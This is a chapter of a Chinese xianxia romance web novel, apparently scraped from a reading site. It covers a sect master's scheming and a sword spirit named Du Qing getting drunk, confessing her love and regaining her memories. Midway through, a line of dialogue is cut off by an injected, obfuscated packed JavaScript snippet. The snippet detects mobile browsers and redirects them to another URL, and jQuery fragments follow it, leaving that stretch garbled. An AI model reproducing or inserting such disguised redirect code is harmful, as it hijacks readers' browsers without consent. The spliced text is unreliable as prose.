默认冷灰
24号文字
方正启体

57. 喝醉

作者:小狗打字机本书字数:K更新时间:
    “师尊,秦老出现在了沙城。”


    一名七阶法修恭顺地跪在地上,抬头朝着坐在云榻上的杜道寻禀报。


    杜道寻还未作声,他怀中人先发出“嘤嘤”啼哭。


    矫揉造作之音令七阶法修感到毛骨悚然,因为他的师兄——随“杜青”一同去沙城除妖的法峰长老,仅仅因为“杜青”的一句话,便被杜道寻关下去受罚了。


    这间不小的屋子里,两边摆放着灯炉与香屏,白烟袅袅上升,拢在高高的屋顶下,压得人喘不过气。地上肆意开着的金荷,于夜色下无端透着一股寒劲儿。这样的颓靡之室与七阶法修心中设想的敞亮清净的居室迥异,他硬着头皮向上投去哀求目光,期望杜道寻或回应或打发他走,但杜道寻正满意地看着半趴在他胸口上的“杜青”哭得眼尾生恨。


    杜道寻摸着“杜青”的头:“你不乖,不听我安排,非要自己先带人去杀妖魔。回来后,我为你教训了他们,你怎么还这么伤心?”


    “杜青”一个劲地哭,哭声更大。


    七阶法修只觉得头昏脑胀,不知道还要忍耐多久,当他耐心见底,内心与耳朵终于麻木时,杜道寻才再开口。


    “好了,莫哭了。”他擦着“杜青”眼角的泪,唤人将她带下去,“乖,我等会儿再去找你。”


    “那我的剑呢?你还给我吗?”


    “会给你。”杜道寻拍着她的背,将她送走。


    七阶法修鄙夷地目送人离,不料,他的动作全被杜道寻看在眼中。


    “怎么?你也和你师兄一样对我有不满?”


    七阶法修芒刺在背,带着怵惕开口:“我不敢,师尊。”他边说边将额头着地,咚咚有声。杜道寻的杀人之姿炸现在他脑海里,冷汗刷地顺着脸颊流了下来。


    杜道寻起身,几步走下台阶,站到他面前,命令道:“接着报。”


    七阶法修立刻松出一大口气,汗流浃背,他暗叹自己活了下来:“所有世家都派人去了,但去的都是些无关紧要的人。”


    “过两天就不是了。”


    “弟子不懂,还请师尊赐教。”


    “灭妖魔,只能得凡人与一般修士的心。那些活得久的人总有自己的心思,秦家就是这种人,他们虽会用一些消息讨好我,却从不完全表露忠心,狡猾如蛇。”


    “要像灭了姜家一样,灭了他们吗?”


    “我是无缘无故屠杀世家的残暴之人吗?”杜道寻面容冷了下来,“秦家不像姜家那般没用,我是故意放任,假装不知,允许他们做蠢事。等那些自以为是的人倒戈向姜启元后,我会让他们带着后悔赴黄泉。”


    “是否太麻烦了?何必给姜启元以下犯上的机会?”


    杜道寻忽然沉默了。


    七阶法修立刻绷紧身体,认命闭上双眼,准备迎接他说错话的惩罚。然而等了许久,不见动静。他悄悄睁眼,见到了一张扭曲着的笑脸。


    “太有意思了。”杜道寻冷笑道,“她出现在了姜启元身边,而且正好是我期待的强蠢模样,我当然要让她多快活两日。”


    七阶法修紧张得牙齿颤抖,小心翼翼道:“这个‘她’之后需要让弟子带回来吗?”


    “你?”杜道寻讽刺一笑,“她会乖乖听我的话回来的,甚至还会帮我杀死姜启元,毕竟,占满她过去人生的都是我杜道寻。”


    青衣弟子听得迷糊,但见师尊此刻的模样仿佛陷入了某种魔怔,怕不是要大杀特杀,他害怕地赶紧告退离开,出了府,后背的冷汗还在直往下流。


    ……


    “哈啾——”


    杜青意外又打起了喷嚏。


    但好在这次就一下,她吸了吸鼻子,往前挪了挪,继续看下方情况。


    秦老要借步说话,少城主宁英便代替姜启元招待晚宴。沙城城主带着姜启元与秦老移步去了书房。


    他们一进去就设下屏障,杜青撇撇嘴化成人形,找了块面纱戴上,溜去正厅。


    她隐匿了气息,免得被人发现她等级太高。


    如果她是修士,那她至少有十三阶了,很强但还不够。她还能继续变强,也没有上限,除非这个世界再也无法供她升级。


    她是通过新记忆知道她的潜力的,这些新记忆不属于任何一柄剑,而是属于她的。


    她确实是千年前名叫杜青的剑,她曾经分给剑的修为,如今以偶然的方式收了回来。她不仅能给剑分修为,给人也可以。所以若她收回姜启元身上的修为,她大概能十五阶,能完全碾压杜道寻。


    可是她不能这么做。


    她现在无法精准控制,她很害怕一旦收走修为,会再次造成姜启元丹心碎裂。再碎一次,他必死无疑。


    她也无法吃别的剑来尽快升级到十五阶,因为散落在这片大陆的神剑,东方的全部被她吃完了,西方倒是还有三柄,可惜太远,来不及在妖魔出来前回来。


    至于杜道寻,他很可能会趁此机会偷袭她和姜启元,但无论是姜启元还是修仙大陆,她都想救,她绝对不会放弃任何一个。如若要牺牲,那只能是她。


    她抬眸看了一眼前面,人影在光下晃动,一片祥和。光与影的分界就抵在她的脚尖,站在暗处的她被风吹得发冷,连心也冷抽抽的。


    若她因为复仇而死掉,姜启元会难过多久?


    因为不会太长吧。


    他人生还长,曾经经历濒死也渴望活着,那他在她死后,也一定能顽强生活。


    这么一想,她虽然心头还有些失落,但释怀驱散了身上的寒。她抬头,迈出左脚,步入醉醺醺的暖光中。


    来这里的世家公子小姐,不少都戴着混淆容貌的法器,除了像广家那样目的明确的,其他人不仅不敢以真面目示人,彼此间交流也少,都排着队跟少城主宁英攀谈,试图从他那里获得见姜启元的机会。


    拜这种情况所赐,杜青混进去也不招人注意,一个人坐在一隅,品尝许久未享受过的美味。她夹起一块点心下肚,油脂混着豆香席卷着她的味蕾。牙齿咀嚼面糊糊的食物的感觉,比吃剑来得真实多了。见桌上还有酒,她低头抿了一小口,辛辣呛进鼻腔,喷得眼泪都出来了。


    这时,广家女从杜青前方经过,她身上披着斗篷,像要离开。


    杜青前面一桌的小姐也看见了,小姐的家仆小声对她道:“广家人走了,咱们也走吧。秦老来了,姜启元是不会见我们这些人的,我们还不如赶紧回去,给家主传消息。”


    那小姐点了点头,随即离席。杜青又吃了一阵,消化时发现人陆续离开了不少。忽然有个人带着酒香来到了她身边,她抬头一瞧,竟然是少城主宁英。


    他酒水喝多了,红着脸打着嗝:“嗝……这位小姐……嗝就剩你还没和我喝过……嗝我来找你,喝完……你赶紧走。”


    杜青:“……”


    “……你怎么不起来?”宁英不悦地皱眉,手中的酒水撒了几滴,“嗝你想见姜启元是不可能的……赶紧喝完,嗝,就走!”


    周围人影渐空,剩下几名仆从恭敬地立在大门口。


    他们都是凡人,听不到这边,于是杜青缓缓站起身道:“我不用见姜启元。”


    “为什么?”


    “我天天见。”


    宁英哈哈一笑:“只有枕边人才可以天天见。”


    杜青小脸顿红,将酒一杯下肚。她以为酒能壮胆,结果心跳得更快,脸也更红了:“姜启元的枕边人就是我。”


    宁英愣怔片刻,忽地将酒杯一掷,激动上前:“拜见嫂嫂!”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089307|192248||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“嘘——”杜青连忙竖起手指,“低调,我不想让别人知道。”


    宁英抛了一个“我懂”的眼神,道:“嫂子,你不知道我有多开心,姜兄天天抱着个剑,晚上睡觉也不撒手,不知道的还以为他老婆就是剑,如今我见真人了,我可就放心了。”


    杜青的脸红彤彤的,她嘿嘿一笑:“你说剑啊?那是我!”


    宁英赶紧拉着她的手促膝而坐,像是老久不见的小伙伴,眉飞色舞道:“嫂子,我给你说,这姜兄啊……”


    说话的声音小了,那头就得凑近点听。当姜启元过来时,瞧见这幅场景,脸上顿时布满不悦的阴云。


    “我咋瞧我姜兄印堂发黑啊?”宁英余光溜到姜启元身上,紧接着伸长脖子细看。


    杜青扭头,眯眼,然后对宁英道:“你眼神不好,那不叫发黑,叫发怒。”


    “那他为啥发怒?”


    “不知道,你有做什么坏事吗?”


    “没有啊?”宁英拉着杜青的手摇,“我这么乖。”


    杜青捣蒜般点点头,手用上了力,让两人手臂大幅摆动:“那就没事了,嘿嘿。”


    宁英也跟着傻笑,下一瞬,他被人揪住衣服直接提了起来,惊讶地抬头:“姜兄?”


    “玩够了?”姜启元咬牙刚说完,宁英的头就垂到了他胳膊上,鼾声响起。


    姜启元的脸更黑了,将宁英扔给了跟过来的沙城城主,弯下腰抱起杜青,一语不发地朝门口走去。


    杜青感觉躺在了舟上,眼前缀着碎星的苍穹晃着晃着,不一会儿就变成了土黄色的屋顶。


    她被轻轻放下,身下的软垫托着她有些酸麻的背,她舒服地眯起眼睛,微微仰头舒展身躯,再睁开眼,对上了姜启元的脸。


    一张沾水的帕子被他捏着,缓缓在她脸上移动。他侧身坐在床边,单手支着上半身。杜青视线下撇,大脑里一根弦叮的一声断了,她抬起手,指尖搭在了他滚烫的手背上。她想起了白日里他对她做过的事,便报复地用指尖划他手背,在经过他突起的青筋时一按,他的呼吸即刻变粗。


    “别玩了。”他逮住了继续往上探的她的手,握在掌心里,“你喝醉了,快点睡。”


    杜青有些迷糊地看着他,眼皮耷拉但就是不闭。他也就这么看着她,好一会儿后他忽然道:“你和宁英聊了什么?”


    “噗噗——”杜青娇憨地笑了起来,声音像铃铛,荡在有些闷热的夜里,“不告诉你……我若说了,就如你意了。”


    “和我有关?”


    杜青没回,但姜启元无需再问,仅从她“你怎么知道”的表情里就得到了全部答案。


    他提起她试图缩回去的手,放在唇下似吻非吻。她绯红的眼皮开始支撑不住了,见此,他心满意足地将她的手放下,拉起被子给她盖好,轻轻哄着:“睡吧。”


    杜青缓缓闭上了眼。


    但酒劲儿还盘根在她脑中,让她睡不安稳。耳边的脚步声极轻极慢,在快到门口时,她冲破了心中的桎梏,将她内心深处最柔软真诚,也最脆弱的心事说出了口:“师兄,我喜欢你,这次无论如何我都会保护你。”


    关门声飘忽迷离,最终沉在了她的梦里。


    梦在变换着形状,某一刻停止了变化,被一柄无形的剑划破了,无数往事一股脑喷发出来,汇成一条蜿蜒的河流,生机勃勃地涌动了起来。


    千年。


    神剑。


    杜青。


    还有……仙与魔。


    所有的记忆如同一首有头有尾的曲子,酣畅淋漓而来,肆意奔腾而去……


    朝日初升,杜青咻地睁开双眼,一下子弹坐起身。


    她僵硬地转动脖子,看着坐在椅子上睡着的姜启元,面目逐渐可憎。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)